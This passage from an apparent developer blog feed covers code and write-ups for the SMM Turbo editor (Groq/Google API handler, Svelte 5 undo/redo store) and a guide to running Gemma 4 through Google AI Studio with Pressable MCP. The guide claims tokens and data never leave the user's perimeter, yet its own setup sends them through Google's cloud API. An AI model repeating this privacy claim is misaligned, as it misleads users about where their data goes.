            if (!googleRes.ok) throw new Error(`Google API Error: ${googleRes.status}`);
            const googleData = await googleRes.json();
            return json({ result: googleData.candidates?.[0]?.content?.parts?.[0]?.text || '' });
        }

        // ==========================================
        // ⚡ FAST MODES: Lightning-fast Llama 3.1 via Groq
        // ==========================================
        let systemMessage = "";

        if (mode === 'canvas') {
            systemMessage = locale === 'en'
                ? `You are a creative copywriter. Generate exactly 3 short text options. Start each with 🔹. No intro! Language: English.`
                : `Надай рівно 3 коротких варіанти тексту. Кожен починається з 🔹. Без вступних слів! Мова: українська.`;
        } 
        // ... (additional configurations for other modes)

        const groqRes = await fetch('[https://api.groq.com/openai/v1/chat/completions](https://api.groq.com/openai/v1/chat/completions)', {
            method: 'POST',
            headers: {
                'Authorization': `Bearer ${GROQ_API_KEY}`,
                'Content-Type': 'application/json'
            },
            body: JSON.stringify({
                model: 'llama-3.1-8b-instant',
                messages: [
                    { role: 'system', content: systemMessage },
                    { role: 'user', content: prompt }
                ],
                temperature: 0.7,
                max_tokens: 1024
            })
        });

        if (!groqRes.ok) throw new Error(`Groq API Error: ${groqRes.status}`);
        const groqData = await groqRes.json();
        return json({ result: groqData.choices?.[0]?.message?.content || '' });

    } catch (error: any) {
        return json({ error: error.message || 'Failed to generate response.' }, { status: 500 });
    }
}

Additionally, the editor has a convenient help section that transparently explains to users how this hybrid system works, and how they can activate Edge AI (local execution) for maximum privacy:

🔄 State Management: Svelte 5 Magic

One of the biggest challenges in developing a graphic editor is state management (State Management). We need to store the position of each element, manage the active slide, and implement the undo/redo function.

Thanks to the new runes in Svelte 5 ($state), creating such a global storage has become incredibly elegant. I created a state.svelte.ts file, where I described the editor object:

function createEditorState() {
    let state = $state({
        mode: 'carousel',
        canvasFormat: '1:1',
        currentSlides: [{ id: Date.now().toString(), elements: [], backgroundOverlay: 0 }],
        activeSlideIndex: 0,
        selectedId: null,
        history: [],
        historyIndex: -1,

        get activeSlide() {
            return state.currentSlides[state.activeSlideIndex];
        },

        saveState() {
            // Logic for saving steps for Undo/Redo
            if (state.historyIndex < state.history.length - 1) {
                state.history = state.history.slice(0, state.historyIndex + 1);
            }
            state.history.push(JSON.stringify(state.currentSlides));
            state.historyIndex++;
        },

        undo() {
            if (state.historyIndex > 0) {
                state.historyIndex--;
                state.currentSlides = JSON.parse(state.history[state.historyIndex]);
            }
        }
    });
    return state;
}
export const editor = createEditorState();

Every time an element's coordinates change (Drag & Drop), editor.saveState() is called, which adds a new snapshot of the data to the history array. Now the user can safely press Ctrl+Z, and the system will instantly revert the changes.

📦 Storage and Integration with Stocks

So that users don't lose their masterpieces after closing the tab, I connected a backend based on Supabase (PostgreSQL + Auth + Storage).

Authorization takes a few seconds. After that, all your projects are automatically saved to the cloud database. To upload your own images, I use Supabase Storage, generating unique file names so they don't overwrite each other.

I also integrated the free photo stock Pixabay. The user can directly in the editor enter a search query in English (e.g., dark space, aesthetic coffee), get a grid of results through the Pixabay API, and with one click set the image as the slide background or add it as a separate element.

We also recommend reading: Full design control on WordPress.com: Global Styles and custom CSS

🏁 Conclusion

Creating your own technical product is always a challenge, but it's an incredible experience. SMM Turbo grew from a simple idea for personal needs into a full-fledged graphic editor for creating Instagram carousels, capable of closing 90% of a marketer's or developer's daily tasks.

A lightning-fast interface on Svelte 5, powerful artificial intelligence "under the hood", seamless background removal, and complete freedom of action (without annoying watermarks or limits) make it a great alternative to paid monopolists.

🔥 Want to try this magic for yourself? My editor is completely free and already available for testing. Go to the platform and create your first conversion carousels faster than AI!

And if you want to support the project, you can always treat me to a coffee through the link in the editor itself. 😉

🚀 Try SMM Turbo right now

No subscriptions, payments, or hidden fees. Experience the speed of Svelte 5 and the intelligence of Gemma 4.

👉 Open SMM Turbo Editor

Gemma 4 and Pressable MCP: safe AI hosting in Linux terminal

Aribu js — Wed, 13 May 2026 07:37:13 +0000

Transparency: this article contains affiliate links. If you purchase hosting through my link, I will receive a small commission at no additional cost to you.

This is a submission for the Gemma 4 Challenge: Write About Gemma 4.

The Problem: My Tokens Are Flying to Google Cloud

A few weeks ago, I shared how I set up Gemini CLI for managing Pressable servers directly from the Fedora terminal: no browser, no extra clicks - just commands, and the server infrastructure obeys.

But the euphoria quickly turned into a question: "Where are my confidential tokens being processed?"

The access key to the production server was flying to Google Cloud. Logs, PHP versions, site structure - everything was passing through someone else's data center. It's like giving your apartment keys to your neighbors: they might be decent people, but it's more peaceful when the keys are only with you. 😎

Solution: I switched to Gemma 4 - an open model from Google with an Apache 2.0 license, which gives full control over the data. And I found a hybrid approach for those whose laptop physically can't handle 32 GB of RAM: I run Gemma 4 through Google AI Studio, getting all the power of the model without expensive hardware.

Gemini CLI vs Gemma 4: Comparison for DevOps

Before diving into the terminal, let's put the dots over the "i". Here are the key criteria that influenced my choice:

Criterion	Gemini (Cloud)	Gemma 4 (API / Local)
Confidentiality	Data is transmitted to Google servers 😟	Data does not leave the perimeter. Even through the Google AI Studio API, it is not used for training 🛡️
License	Proprietary 🔒	Apache 2.0 - free commercial use, modification, distribution 🔓
Context Window	Up to 1 million tokens 🚀	128K tokens - enough for analyzing large server logs ✅
Advanced Thinking	Yes 💡	`thinking: true` - models 26B and 31B have a thinking mode, ideal for diagnostics 🧠
Cost	Paid after limits are exhausted 💸	Free tier in AI Studio 🆓
Autonomy	Requires internet ☁️	Can work fully offline on your own server 🏠
Customization	Limited ⛔	Full freedom: fine-tuning, running on your own hardware ⚙️

For managing WordPress hosting through Pressable MCP, I chose Gemma 4 31B (Dense) - the most powerful model in the lineup with thinking: true, capable of analyzing complex API responses and making informed decisions.

We also recommend reading: AI WordPress Hosting Management via Linux CLI

Step 1: Creating an API Key for Gemma 4 in Google AI Studio

Any path begins with the first step. We will receive the access key not in Google Cloud, but in Google AI Studio - this is free and does not require a bank card.

Go to aistudio.google.com
In the left menu, select API Keys
Click Create API key and select a project (or create a new one, for example, Pressable Gemma 4 Agent)
Copy the generated key

⚠️ IMPORTANT: the key will be shown only once. Save it immediately.

Now, export the key to an environment variable in the Fedora terminal:

export GEMINI_API_KEY="AIzaSy...your_new_key"

Step 2: First Run of Gemma 4 in the Linux Terminal

The most interesting moment - checking if the model responds. We use gemini-cli, explicitly specifying the model through the --model parameter:

gemini --model models/gemma-4-31b-it -p "Say hello from Gemma 4 31B"

Response:

Hello! Gemma 4 31B here. How can I help you today?

The model works! 🤖

Step 3: Connecting Pressable MCP to Gemma 4

Now, the main thing: connect Gemma 4 to Pressable MCP, so that the model can directly manage hosting through the Model Context Protocol.

3.1. Removing the Old Configuration

gemini mcp remove pressable

3.2. Adding the Pressable MCP Server

gemini mcp add pressable https://mcp.pressable.com

3.3. Specifying the Authorization Token

Open the configuration file:

nano /mnt/DATA/pressable-mcp-project/.gemini/settings.json

Add the Pressable Access Token to the headers section:

{
  "mcpServers": {
    "pressable": {
      "url": "https://mcp.pressable.com",
      "headers": {
        "Authorization": "Bearer YOUR_PRESSABLE_ACCESS_TOKEN"
      }
    }
  }
}

3.4. Checking the Connection Status

gemini mcp list

We see the desired green status - Connected! 🟢

Step 4: Gemma 4 as an AI Administrator of the Server

Launch an interactive chat with Gemma 4:

gemini chat -m models/gemma-4-31b-it

Give a combat task (in English - this is how the API works most accurately):

> Please list all the sites on my Pressable account
  and tell me the PHP version of shchoiyak-sandbox.

Here, the magic of the Model Context Protocol happens: Gemma 4 understands that it needs the search_sites tool and requests permission to execute it. Choose Allow once or Allow all server tools for this session.

The model receives raw JSON from the Pressable API, analyzes it thanks to the thinking: true mode, and provides a clear response:

- Domain:     shchoiyak-sandbox.mystagingwebsite.com
- PHP Version: 8.5
- State:       live
- Datacenter:  BUR (Burbank, CA)

Result: without any browser and login to the control panel - all critical information is right in the terminal.

Conclusion: Why Gemma 4 for DevOps is the Right Choice

Switching from Gemini CLI to Gemma 4 + Pressable MCP is not just a model replacement. It's a fundamental change in approach to security and control over data:

✅ Confidential tokens do not leave your perimeter
✅ Apache 2.0 license - complete freedom for commercial projects
✅ thinking: true mode for deep analysis of server logs
✅ Free access through Google AI Studio
✅ Ability to work fully offline on your own server

Yes, running Gemma 4 31B locally requires a powerful server. But even through Google AI Studio, it's free, secure, and preserves the main thing - openness and independence.

Try Pressable for Your WordPress Projects

Want to manage servers like a real AI-ninja? Refuse routine clicking and switch to infrastructure created by the same people who write the WordPress core.

👉 Try AI management from Pressable today

And if you need fast and stylish creatives for your new site's social media - use the free graphic editor SMM Turbo.

DEV Community: Aribu js

Google's 100k Follower Wall: Why GEO Is the Indie Dev's Best Bet in 2026

Google's New Game and the 100k Follower Wall

1. Why Popularity Is Not E-E-A-T

2. The Closed Ecosystem Mistake

3. Why GEO Is the Fairer Channel for Indie Developers

4. The Indie Developer Survival Checklist for 2026

Series Wrap-Up

GEO Analytics: How to Track Your Citations in ChatGPT and Perplexity

Why Traditional SEO Metrics No Longer Tell the Full Story

The "Dark" AI Traffic Problem

New KPIs for Measuring GEO Success

Method 1. Manual Check: Quick Start Without an API

Method 2. Bash Script for Quick Checks via Perplexity API

Method 3. Python Script with CSV Logging

Schedule with Cron

Method 4. Analyzing AI Referrers in GA4

Method 5. Google Search Console - AI Overview Data

Method 6. Google Sheets Dashboard with Apps Script

Implementation Checklist

FAQ

The GEO Series Is Complete 🎉

GEO Automation in Eleventy: JSON-LD, BLUF & Tables Without Manual Markup

Why Manual Micro-Markup Doesn't Scale

Step 1. Base Configuration: _data/metadata.json

Step 2. Article Schema - Automatic for Every Post

The dateToISO Filter in .eleventy.js

Adding to the Base Layout

Step 3. FAQPage Schema via a Frontmatter Array

Frontmatter Structure

Template _includes/schema-faq.njk

Rendering the FAQ Section from the Same Data

Step 4. HowTo Schema for Step-by-Step Guides

Template _includes/schema-howto.njk

Step 5. Automatic BLUF Block

Frontmatter

Template _includes/bluf.njk

The markdownify Filter

Step 6. Shortcode for GEO Tables

Registering the Shortcode in .eleventy.js

Usage in a Markdown Post

Step 7. Auto-Generating robots.txt

Summary: What's Automated and Setup Time

Implementation Checklist

FAQ

What's Next: Part 4

LLM Content Engineering: How to Write for AI Search in 2026

Why an open robots.txt is no longer enough

1. Information Density vs. SEO Filler: The Math of Getting Cited

Before/After: The Same Idea, Two Different Densities

The One-Fact-Per-200-Words Rule

2. Table Dominance: HTML vs. Markdown and Why It Matters

Markdown Table vs. HTML: The Risk

Mobile Responsiveness Without Breaking Parsability

3. Deep BLUF: Every H2 Section as a Self-Contained Semantic Node

Anatomy of a GEO-Optimized H2 Section

Comparing Structures: Bad vs. Good H2 Section

4. Hard E-E-A-T Signals That AI Cannot Fake

Three Uniqueness Anchors for GEO

5. Pre-Publish Checklist

FAQ

What's Next in the GEO/SEO 2026 Series

GEO in 2026: Optimize Your Site for ChatGPT & Perplexity

Why 2026 Is a Turning Point for Organic Search

Classic SEO vs. GEO - Side by Side

How AI Search Finds and Cites Content: The RAG Architecture

What "Easy to Parse" Actually Means

Step 1. Configure robots.txt for AI Crawlers

Verify AI Crawler Access

Step 2. Semantic HTML Instead of Div Soup

Document Structure That AI Can Read

Step 3. JSON-LD Schema Markup - A Direct Signal to AI

Article Schema - for Every Blog Post

FAQPage Schema - the Most-Cited Markup in AI Responses

HowTo Schema - for Step-by-Step Guides

Step 4. BLUF Blocks and Content Structure for LLMs

Rules for Writing a BLUF Block

Tables and Lists Are Gold for LLMs

Step 5. E-E-A-T Content Strategy in 2026

What Raises Authority for AI Search

Step 1. Base Configuration: `_data/metadata.json`

The `dateToISO` Filter in `.eleventy.js`

Template `_includes/schema-faq.njk`

Template `_includes/schema-howto.njk`

Template `_includes/bluf.njk`

The `markdownify` Filter

Registering the Shortcode in `.eleventy.js`

Why `textContent` Is Safer Than `innerHTML`